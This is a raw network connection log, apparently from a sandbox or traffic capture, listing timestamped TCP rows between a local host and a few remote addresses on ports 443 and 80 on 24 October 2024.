Oct 24, 2024 08:50:58.587299109 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.587449074 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.587466002 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.645735979 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.645858049 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.646008968 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.646148920 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.646193027 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.646233082 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.646240950 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.649064064 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.649094105 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.649209976 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.649367094 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.649383068 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.662965059 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.663157940 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.663233995 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.663275957 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.663275957 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.663300037 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.663310051 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.665678024 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.665729046 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:58.665800095 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.665939093 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:58.665960073 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.294107914 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.296974897 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.304327011 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.304362059 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.305279016 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.305286884 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.305687904 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.305759907 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.306070089 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.306085110 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.318804026 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.319499016 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.319530010 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.320058107 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.320063114 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.407766104 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.407790899 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.412636042 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.412718058 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.413237095 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.413250923 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.413547993 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.413587093 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.413928032 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.413934946 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.430888891 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.431132078 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.431235075 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.434803009 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.434904099 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.435002089 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.448945999 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.449105024 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.449193954 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.540452957 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.540559053 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.540672064 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.540791988 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.540955067 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.541016102 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.786762953 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.786822081 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.786842108 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.786849976 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.788448095 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.788476944 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.788541079 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.788547039 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.790482044 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.790482044 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.790523052 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.790539026 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.797950029 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.797985077 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.798022985 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.798031092 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.798748016 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.798765898 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.798784971 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.798789024 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.799622059 CEST	49724	80	192.168.2.4	199.232.214.172
Oct 24, 2024 08:50:59.801858902 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.801914930 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.802000999 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.802714109 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.802736044 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.803203106 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.803241014 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.803303003 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.803458929 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.803476095 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.803744078 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.803764105 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.803816080 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.804877043 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.804909945 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.804986954 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.804990053 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.804999113 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.805078030 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.805087090 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.805335999 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.805346012 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.805403948 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.805489063 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:59.805495977 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:59.976763010 CEST	80	49724	199.232.214.172	192.168.2.4
Oct 24, 2024 08:50:59.977077007 CEST	49724	80	192.168.2.4	199.232.214.172
Oct 24, 2024 08:51:00.705943108 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.706146955 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.706381083 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.706465960 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.706657887 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.706687927 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.706691027 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.706727028 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.707196951 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.707204103 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.707293034 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.707319021 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.707330942 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.707335949 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.707566023 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.707604885 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.707755089 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.707760096 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.707950115 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.707959890 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.709295988 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.709681988 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.709708929 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.710032940 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.710037947 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.834706068 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.834949017 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.835053921 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.835218906 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.835267067 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.835351944 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.835371017 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.835501909 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.835604906 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.835658073 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.835706949 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.835706949 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.835727930 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.835738897 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.835994005 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.836139917 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.836189985 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.836337090 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.836340904 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.836342096 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.836359024 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.836364031 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.836867094 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.836936951 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.837048054 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.837065935 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.837105036 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.837111950 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.840054035 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.840150118 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.840296984 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.845148087 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.845191956 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.845252037 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.845284939 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.845302105 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.845366001 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.845588923 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.845633030 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.845689058 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.845782042 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.845793962 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.845807076 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.845813036 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.846180916 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.846195936 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.846251011 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.846364975 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.846379995 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.846442938 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.846456051 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.846703053 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.846709967 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.846710920 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.846726894 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.848247051 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.848269939 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:00.848357916 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.848637104 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:00.848654032 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.580390930 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.581212997 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.581248045 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.581878901 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.581882954 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.587966919 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.588407040 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.588428974 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.589040041 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.589046001 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.589778900 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.592946053 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.592962027 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.593575954 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.593580008 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.595807076 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.596328020 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.596340895 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.596795082 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.596800089 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.712582111 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.712723017 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.712810040 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.713114023 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.713134050 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.713167906 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.713175058 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.719723940 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.719800949 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.719881058 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.720102072 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.720149994 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.720184088 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.720201015 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.721257925 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.721302986 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.721402884 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.721431017 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.721545935 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.721596956 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.721760988 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.721771955 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.722052097 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.722074032 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.724793911 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.724838018 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.724937916 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.724944115 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.724961042 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.725016117 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.725099087 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.725112915 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.725231886 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.725241899 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.729571104 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.729712963 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.729775906 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.731964111 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.731983900 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.732000113 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.732006073 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.738090992 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.738126993 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.738200903 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.738364935 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.738383055 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.793781042 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.797138929 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.797172070 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.798058033 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.798063040 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.927196026 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.927417040 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.927577019 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.928636074 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.928661108 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.928678989 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.928685904 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.943383932 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:01.943443060 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:01.943597078 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.008994102 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.009020090 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.459628105 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.472956896 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.473860979 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.499952078 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.515351057 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.519330025 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.540055990 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.540079117 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.540354013 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.540359020 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.540806055 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.540811062 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.540843964 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.540848970 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.541177034 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.541193008 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.541657925 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.541665077 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.667571068 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.667722940 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.667831898 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.667844057 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.668042898 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.668102980 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.669977903 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.670006037 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.670017958 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.670023918 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.670819044 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.670898914 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.670958996 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.673079967 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.673114061 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.673126936 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.673132896 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.674891949 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.674917936 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.674952030 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.674957991 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.677021027 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.677054882 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.677128077 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.677599907 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.677642107 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.677721024 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.677791119 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.677808046 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.677918911 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:02.677934885 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:02.678370953 CEST	49859	443	192.168.2.4	13.107.246.60
